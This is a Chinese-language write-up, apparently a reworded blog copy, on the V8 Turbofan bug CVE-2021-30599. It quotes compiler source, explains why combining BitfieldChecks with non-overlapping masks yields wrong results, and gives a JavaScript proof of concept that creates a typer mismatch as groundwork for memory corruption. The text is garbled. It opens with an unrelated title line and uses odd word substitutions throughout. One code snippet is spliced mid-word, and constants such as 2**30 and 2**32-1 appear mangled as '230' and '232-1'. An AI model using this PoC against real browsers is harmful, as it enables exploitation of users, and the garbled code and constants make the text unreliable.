最新Chrome-V8-CVE-2021-30599的漏洞
有限状况机在 CSS 动画中的运用
早在chrome一次更新修正该缝隙后就关注到了这个缝隙,不过其时是一个研究者一次提交了两个缝隙,还都是21000美元的高悬赏,我其时只注意到了CVE-2021-30598的两次patch,看到其中一次将typeguard改为checkbound,猜想是可以到达rce的。
现在两个缝隙都已揭露详情页,提交者给了很详细的描绘
30599(https://bugs.chromium.org/p/chromium/issues/detail?id=1234770)
30598(https://bugs.chromium.org/p/chromium/issues/detail?id=1234764)
环境建立
在v8环境搭完后
git reset --hard 27a517b8922915f53d479133205ee80b35ac2feb
gclient sync
缝隙剖析
这是发生在machine-operator-reducer.cc(https://crrev.com/574ca6b71c6160d38b5fcf4b8e133bc7f6ba2387/src/compiler/machine-operator-reducer.cc)中的缝隙(Turbofan),具体来说是其中的BitfieldCheck的一些处理不正确。
static base::Optional Detect(Node* node) {
// There are two patterns to check for here:
// 1. Single-bit checks: (val >> shift) & 1, where:
// - the shift may be omitted, and/or
// - the result may be truncated from 64 to 32
// 2. Equality checks: (val & mask) == expected, where:
// - val may be truncated from 64 to 32 before masking (see
// ReduceWord32EqualForConstantRhs)
if (node->opcode() == IrOpcode::kWord32Equal) {
Uint32BinopMatcher eq(node);
if (eq.left().IsWord32And()) {
Uint32BinopMatcher mand(eq.left().node());
if (mand.right().HasResolvedValue() && eq.right().HasResolvedValue()) {
BitfieldCheck result{mand.left().node(), mand.right().ResolvedValue(),
eq.right().ResolvedValue(), false};
[ ... ]
可以看到对于(val & mask) == expected这种操作会被替换为BitfieldCheck,然后在一些情况下,两个BitfieldCheck会集并成一个,比方((x & 0) == 1) & ((x & 1) == 0),这样的情况就会由二合一,可是缝隙也是在兼并过程中发生的。
base::Optional TryCombine(const BitfieldCheck& other) {
if (source != other.source ||
truncate_from_64_bit != other.truncate_from_64_bit)
return {};
uint32_t overlapping_bits = mask & other.mask;
// It would be kind of strange to have any overlapping bits, but they can be
// allowed as long as they don't require opposite values in the same
// positions.
if ((masked_value & overlapping_bits) !=
(other.masked_value & overlapping_bits)) <---------[1]
return {};
return BitfieldCheck{source, mask | other.mask, <------------[2]
masked_value | other.masked_value,
truncate_from_64_bit};
}
咱们可以看到满足[1]处的查看之后就会由[2]完结兼并BitfieldCheck的操作,可是这个查看靠谱吗?
对 (x & A) == B来说,masked_value便是B,mask便是A(猜想)。
overlapping_bits = mask & other.mask,这一条件当mask1和mask2的bit的调集彻底没有交集时,overlapping_bits就成了0。那么masked_value & overlapping_bits中不管masked_value多大,成果都是0,所以[1]处的判别在overlapping_bits == 0时是不成立的,那么这会导致之后的兼并成果出错吗?
答案明显是会的,考虑((x & 0) == 1) & ((x & 1) == 0)经优化后会成为(x & (1|0)) == (1|0) => (x & 1) == 1,与优化前,也便是兼并前的成果是截然不同的。
缝隙利用
要想到达rce的效果需求与CVE-2021-30598中对typer的patch结合才行,否则绕不掉CheckBounds(CheckMap)没法越界。咱们先结构到typer认为x == 0, y == 0, 可是 (x&y) == 1的地步,下面描绘下缝隙作者的记载。
首要最简单的做法便是做一个显着无法成真的等式,来赋值x和y满足以上,比方 (a & 1) == 42,这个明显不管a为多少都会得到0,可是正是由于如此,在优化过程中会触发常量折叠导致直接从一个等式变为了常量false,咱们虽然可以通过let x = bool_var |0 来使得false变为0,但也会使得后续无法进展。
所以咱们需求运用不是特别显着只要一种成果的等式,比方(a & 5) == 2 and (a & 6) == 1这样二者兼并后,(a & 7) == 3,在a=3时成果为1,但这还远远不够。
其实咱们可以引进一个不确认变量来避免前期优化阶段的常量折叠,比方上面的a便是给优化的函数传入的参数,由于不确认a究竟是多少所以就不会被折叠掉。可是由于优化的原因当咱们屡次传入同一个数时,他仍是会按传入的数去优化直接替换成对应的数。相似的还有把直接用0,改为o1 = {a : 0},然后用o1.a去代替0的位置,可是这个虽然在typer阶段不会被折叠,可是在后续的优化阶段仍是会被识破的,比方LoadElimination阶段会把其直接替换成常量0。
真正可以用上的办法是string的下标取值操作,array-length节点会很晚才被常量折叠掉,不过由于如此操作发生typer的是CheckBounds节点,明显不属于哪个变量,咱们无法直接运用,ReduceSpeculativeNumberOperation中会将CheckBounds节点替换成NumberConstant节点。
Reduction RedundancyElimination::ReduceSpeculativeNumberOperation(Node* node) {
DCHECK(node->opcode() == IrOpcode::kSpeculativeNumberAdd ||
node->opcode() == IrOpcode::kSpeculativeNumberSubtract ||
node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ||
node->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract ||
node->opcode() == IrOpcode::kSpeculativeToNumber);
DCHECK_EQ(1, node->op()->EffectInputCount());
DCHECK_EQ(1, node->op()->EffectOutputCount());
Node* const first = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// Check if there's a CheckBounds operation on {first}
// in the graph already, which we might be able to
// reuse here to improve the representation selection
// for the {node} later on.
if (Node* check = checks->LookupBoundsCheckFor(first)) {
// Only use the bounds {check} if its type is better <----------[1]
// than the type of the {first} node, otherwise we
// would end up replacing NumberConstant inputs with
// CheckBounds operations, which is kind of pointless.
if (!NodeProperties::GetType(first).Is(NodeProperties::GetType(check))) {
NodeProperties::ReplaceValueInput(node, check, 0);
}
}
return UpdateChecks(node, checks);
}
为了触发ReduceSpeculativeNumberOperation函数,咱们需求创造出那几个特定的节点,比方SpeculativeNumberAdd,通过x + (o.cf ? “” : 0)操作可以到达,cf是false。
可是这么做也有问题,那便是当CheckBounds被替换为新节点后需求再一次typer来给替换上的节点加上type,而以上做法并不会触发再一次typer,解决办法如下。
However, there is an additional problem: While the CheckBounds-node is inserted, the type of the addition itself actually never gets updated, as there is nothing to trigger a re-typing.
This can be fixed by adding a larger number like 2**30, which will result in a NumberOperationHint of kNumber instead of kSignedSmall, which will make typed-optimization.cc change the node into a regular NumberAdd during the LoadElimination-phase.
对应代码
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node node) { ... NumberOperationHint hint = NumberOperationHintOf(node->op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) && BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { // SpeculativeNumberAdd(x:-string, y:-string) => // NumberAdd(ToNumber(x), ToNufunction bar(a, arg_true) { Node const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node const value = graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(value); } return NoChange(); }
上面咱们加上2**30后当然需求再减去,所以
We then subtract 2**30 again, resulting in a SpeculativeNumberSubtract-node that is again replaced by a regular NumberSubtract.
Once everything has been lowered to 32-bit integer operations, the addition and subtraction will be combined to an addition of 0 and then eliminated, thus they aren’t interfering with triggering the wrong optimization.
当然为了避免常量折叠使得咱们一次加一次减直接被优化消失掉,咱们还需求引进一个未知变量,所以咱们可以把原本230的地方改为230 – (c0&1),这样(o.cf ? “” : (230) – (o.c0&1)) – (230)最后的type便是Range(-1, 0)而不是(0, 0),还能避免被优化掉。
如果咱们用以上操作设置x和y的值之后,那么二者type都是Range(-1, 0),看下x&y后的type。
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
...
double min = kMinInt;
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) {
min = 0;
max = std::min(max, lmax);
}
if (rmin >= 0) {
min = 0;
max = std::min(max, rmax);
}
return Type::Range(min, max, zone());
}
明显x&y后的type是Range(-1, 0),实践是1,可是二者的地点优化阶段发生了冲突,为了以上的情况可以得以完成,下面还需求其他操作,这儿有些细节导致难度加大。
However, one last obstacle remains: the type propagation to the additions and subtracions only happens during the LoadElimination phase; the BitwiseAnd however is only given a type once during the initial Typer phase; we can’t use the typed optimization again as there is no equivalent “SpeculativeNumberAnd”.
So we need to somehow take the bounds information from the later LoadElimination phase and make it available already during the earlier Typer phase.
咱们可以运用Math.min(232-1, x+(232-1)) – (2**32-1),之后可以使得typer知道这儿不会有正数成果,这是在最开始的typer阶段就可以确认的,在后面相同用其他手法使得在对应阶段也是这个Range。
之后为了得到Range(0, 0)实践值是-1的变量,咱们先运用其和-1进行Max运算,然后再取反并右移31位。
完好Poc如下:
function bar(a, arg_true) {
let o = {c0: 0, cf: false};
let x = ((a&5)==2)|0;
let y = ((a&6)==1)|0;
"a"[x];"a"[y]; // generate CheckBounds()
x = x + (o.cf ? "" : (230) - (o.c0&1)) - (230); // type is Range(-1,0), but only after LoadElimination
y = y + (o.cf ? "" : (230) - (o.c0&1)) - (230);
x = Math.min(232-1, x + (232-1)) - (2**32-1); // type is Range(-1,0) already during Typer
y = Math.min(232-1, y + (232-1)) - (2**32-1);
let confused = Math.max(-1,x & y); // type is Range(..., 0), really is 1
confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1
confused = ((0-confused)>>31); // type is Range(0, 0), really is -1
return confused;
}
console.log(bar(3, true));
for (var i = 0; i < 310*4; i+=1) bar(0,true);
console.log(bar(3,true));
以上并不是到达rce的完好exp,还需求iterator.next的配合。
我有话说: